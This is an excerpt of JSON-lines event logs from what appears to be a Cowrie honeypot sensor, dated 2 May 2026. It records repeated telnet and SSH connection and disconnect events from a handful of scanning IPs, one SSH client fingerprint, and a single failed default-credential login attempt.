{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52500,"dst_ip":"10.17.0.5","dst_port":23,"session":"5450278d59b3","protocol":"telnet","message":"New connection: 64.227.101.30:52500 (10.17.0.5:23) [session: 5450278d59b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:27.392140Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb2f08b9790","protocol":"telnet","message":"New connection: 74.208.239.44:50922 (159.203.135.109:23) [session: ebb2f08b9790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:27.424053Z"}
{"eventid":"cowrie.session.closed","duration":47.189456939697266,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:27.737999Z","src_ip":"64.227.101.30","session":"a6df6a10a882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.144115447998047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:27.821241Z","src_ip":"74.208.239.44","session":"d7b268e8999a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":51484,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d340d00a018","protocol":"telnet","message":"New connection: 74.208.239.44:51484 (159.203.135.109:23) [session: 4d340d00a018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:28.573557Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dc1281e2f45","protocol":"telnet","message":"New connection: 74.208.239.44:51696 (159.203.135.109:23) [session: 6dc1281e2f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:28.971450Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":58732,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17fce7c6385","protocol":"ssh","message":"New connection: 209.99.189.174:58732 (10.17.0.5:22) [session: c17fce7c6385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:30.093738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:30.099010Z","src_ip":"209.99.189.174","session":"c17fce7c6385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:30.236202Z","src_ip":"209.99.189.174","session":"c17fce7c6385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest2","password":"guest2","message":"login attempt [guest2/guest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:30.788644Z","src_ip":"209.99.189.174","session":"c17fce7c6385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.95396375656128,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:31.024679Z","src_ip":"64.227.101.30","session":"7bc7ead9de1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":52830,"dst_ip":"159.203.135.109","dst_port":23,"session":"622c699dafb7","protocol":"telnet","message":"New connection: 74.208.239.44:52830 (159.203.135.109:23) [session: 622c699dafb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:31.072713Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"496558abe94a","protocol":"telnet","message":"New connection: 74.208.239.44:53056 (159.203.135.109:23) [session: 496558abe94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:31.415500Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:31.921626Z","src_ip":"209.99.189.174","session":"c17fce7c6385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72038984298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:31.980841Z","src_ip":"74.208.239.44","session":"1f8edf1014c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971832513809204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:32.019031Z","src_ip":"74.208.239.44","session":"96f47333fef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796111345291138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:32.119138Z","src_ip":"74.208.239.44","session":"25bfbbf3f01d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.941210985183716,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:32.543313Z","src_ip":"161.97.105.174","session":"b2584ed4a26b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07191514968872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:33.293163Z","src_ip":"74.208.239.44","session":"cdc694af5017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.439927339553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:33.422368Z","src_ip":"74.208.239.44","session":"5767aa2e314a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.874943256378174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:33.780357Z","src_ip":"64.227.101.30","session":"b78e02013eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":54382,"dst_ip":"159.203.135.109","dst_port":23,"session":"571c815ba3f0","protocol":"telnet","message":"New connection: 74.208.239.44:54382 (159.203.135.109:23) [session: 571c815ba3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:34.173415Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"14705903ac1b","protocol":"telnet","message":"New connection: 74.208.239.44:54564 (159.203.135.109:23) [session: 14705903ac1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:34.615182Z"}
{"eventid":"cowrie.session.closed","duration":31.478626012802124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:34.799015Z","src_ip":"74.208.239.44","session":"768e6b182e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58917808532715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:35.018945Z","src_ip":"161.97.105.174","session":"47772c40d945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241599559783936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:35.178231Z","src_ip":"74.208.239.44","session":"992940c52a76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":54972,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c89ad90485","protocol":"telnet","message":"New connection: 74.208.239.44:54972 (159.203.135.109:23) [session: 90c89ad90485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:35.422006Z"}
{"eventid":"cowrie.session.closed","duration":31.155768871307373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:35.645182Z","src_ip":"74.208.239.44","session":"56b131cd9eca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":55282,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd599e44961","protocol":"telnet","message":"New connection: 74.208.239.44:55282 (159.203.135.109:23) [session: cdd599e44961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:36.091659Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6e09fe5296","protocol":"telnet","message":"New connection: 74.208.239.44:55848 (159.203.135.109:23) [session: 6d6e09fe5296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:37.275741Z"}
{"eventid":"cowrie.session.closed","duration":31.460968255996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:37.434229Z","src_ip":"74.208.239.44","session":"cdf6ac51776a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.86243295669556,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:37.480515Z","src_ip":"64.227.101.30","session":"481fe3fa8125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"5183aa042674","protocol":"telnet","message":"New connection: 161.97.105.174:57960 (159.203.135.109:23) [session: 5183aa042674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:38.071053Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":56242,"dst_ip":"159.203.135.109","dst_port":23,"session":"da95ac21be73","protocol":"telnet","message":"New connection: 74.208.239.44:56242 (159.203.135.109:23) [session: da95ac21be73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:38.081395Z"}
{"eventid":"cowrie.session.closed","duration":30.396305322647095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:38.131272Z","src_ip":"74.208.239.44","session":"eb2f155765ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.24651861190796,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:38.305578Z","src_ip":"64.227.101.30","session":"d4a28b8d21c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"428196c15c58","protocol":"telnet","message":"New connection: 161.97.105.174:35488 (159.203.135.109:23) [session: 428196c15c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:40.202903Z"}
{"eventid":"cowrie.session.closed","duration":36.37209391593933,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:40.261770Z","src_ip":"161.97.105.174","session":"f95e25c93a14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434269189834595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:40.521261Z","src_ip":"74.208.239.44","session":"410b1bb55b43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.375394582748413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:40.749789Z","src_ip":"74.208.239.44","session":"5a198fc59236","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35492,"dst_ip":"159.203.135.109","dst_port":23,"session":"61352f3982db","protocol":"telnet","message":"New connection: 161.97.105.174:35492 (159.203.135.109:23) [session: 61352f3982db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:41.714807Z"}
{"eventid":"cowrie.session.closed","duration":31.622984409332275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:42.736823Z","src_ip":"74.208.239.44","session":"7434b5d1f016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.202746391296387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:42.988735Z","src_ip":"74.208.239.44","session":"c50350ca8441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35508,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e401b450c9","protocol":"telnet","message":"New connection: 161.97.105.174:35508 (159.203.135.109:23) [session: c7e401b450c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:43.123589Z"}
{"eventid":"cowrie.session.closed","duration":31.308830738067627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:43.826929Z","src_ip":"74.208.239.44","session":"122c3fb61059","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":59642,"dst_ip":"159.203.135.109","dst_port":23,"session":"6028ce5336e9","protocol":"telnet","message":"New connection: 74.208.239.44:59642 (159.203.135.109:23) [session: 6028ce5336e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:43.857589Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35514,"dst_ip":"159.203.135.109","dst_port":23,"session":"336b2a8eee00","protocol":"telnet","message":"New connection: 161.97.105.174:35514 (159.203.135.109:23) [session: 336b2a8eee00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:44.081405Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":60306,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c43db94083","protocol":"telnet","message":"New connection: 74.208.239.44:60306 (159.203.135.109:23) [session: d7c43db94083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:44.764298Z"}
{"eventid":"cowrie.session.closed","duration":31.417129039764404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:44.885626Z","src_ip":"74.208.239.44","session":"1a9c7eaef894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":60438,"dst_ip":"159.203.135.109","dst_port":23,"session":"1667327e4e86","protocol":"telnet","message":"New connection: 74.208.239.44:60438 (159.203.135.109:23) [session: 1667327e4e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:44.934797Z"}
{"eventid":"cowrie.session.closed","duration":30.220194816589355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:44.953228Z","src_ip":"74.208.239.44","session":"5ef496c1e9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":60996,"dst_ip":"159.203.135.109","dst_port":23,"session":"f447b0e38d23","protocol":"telnet","message":"New connection: 74.208.239.44:60996 (159.203.135.109:23) [session: f447b0e38d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:45.557998Z"}
{"eventid":"cowrie.session.closed","duration":38.16111493110657,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:45.768313Z","src_ip":"64.227.101.30","session":"11c7636081c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.523152351379395,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:46.009175Z","src_ip":"64.227.101.30","session":"58cde964b2b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":33296,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef78f22dd8c","protocol":"telnet","message":"New connection: 74.208.239.44:33296 (159.203.135.109:23) [session: aef78f22dd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:46.110922Z"}
{"eventid":"cowrie.session.closed","duration":31.785845041275024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:46.832969Z","src_ip":"74.208.239.44","session":"38d6412c526e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":33902,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f440e78f39","protocol":"telnet","message":"New connection: 74.208.239.44:33902 (159.203.135.109:23) [session: 45f440e78f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:46.875698Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7bb45cfd1d","protocol":"telnet","message":"New connection: 74.208.239.44:34152 (159.203.135.109:23) [session: 5e7bb45cfd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:47.405751Z"}
{"eventid":"cowrie.session.closed","duration":31.043790340423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:47.606239Z","src_ip":"74.208.239.44","session":"9273a918d2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00930571556091,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:47.877558Z","src_ip":"74.208.239.44","session":"ab455da7af55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30861806869507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:47.917978Z","src_ip":"74.208.239.44","session":"fa6d8c844938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990511417388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:48.045452Z","src_ip":"74.208.239.44","session":"dcf4f43e7c8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54872,"dst_ip":"159.203.135.109","dst_port":23,"session":"c965c2c929cb","protocol":"telnet","message":"New connection: 68.183.198.12:54872 (159.203.135.109:23) [session: c965c2c929cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:48.355074Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34944,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d34ab26f1d0","protocol":"telnet","message":"New connection: 74.208.239.44:34944 (159.203.135.109:23) [session: 7d34ab26f1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:48.771921Z"}
{"eventid":"cowrie.session.closed","duration":31.634154081344604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:48.884459Z","src_ip":"74.208.239.44","session":"47f45d83a683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b2bff79eb2","protocol":"telnet","message":"New connection: 74.208.239.44:34538 (159.203.135.109:23) [session: e5b2bff79eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:49.114833Z"}
{"eventid":"cowrie.session.closed","duration":30.815374612808228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:49.120619Z","src_ip":"74.208.239.44","session":"de64f359b0d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00134897232056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:49.334930Z","src_ip":"64.227.101.30","session":"3663b7fc2608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740597009658813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:50.042963Z","src_ip":"74.208.239.44","session":"0f4837769dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1945040225982666,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:50.549469Z","src_ip":"68.183.198.12","session":"c965c2c929cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50990,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d85451deff5","protocol":"telnet","message":"New connection: 64.227.101.30:50990 (10.17.0.5:23) [session: 1d85451deff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:51.737421Z"}
{"eventid":"cowrie.session.closed","duration":0.0051975250244140625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:51.742448Z","src_ip":"64.227.101.30","session":"1d85451deff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":36464,"dst_ip":"159.203.135.109","dst_port":23,"session":"958f3ee65bef","protocol":"telnet","message":"New connection: 74.208.239.44:36464 (159.203.135.109:23) [session: 958f3ee65bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:51.981340Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43122,"dst_ip":"159.203.135.109","dst_port":23,"session":"e257fb68680a","protocol":"telnet","message":"New connection: 161.97.105.174:43122 (159.203.135.109:23) [session: e257fb68680a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:52.744444Z"}
{"eventid":"cowrie.session.closed","duration":30.83677625656128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:52.949661Z","src_ip":"74.208.239.44","session":"6e7df821b1bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134581565856934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:53.514452Z","src_ip":"74.208.239.44","session":"257b03ece8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26765775680542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:53.540477Z","src_ip":"74.208.239.44","session":"2763a9fe4f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":37494,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b3d3fb67e7","protocol":"telnet","message":"New connection: 74.208.239.44:37494 (159.203.135.109:23) [session: f9b3d3fb67e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:54.008985Z"}
{"eventid":"cowrie.session.closed","duration":31.47120237350464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:47:54.718597Z","src_ip":"74.208.239.44","session":"236d20feed1d","protocol":"telnet"}
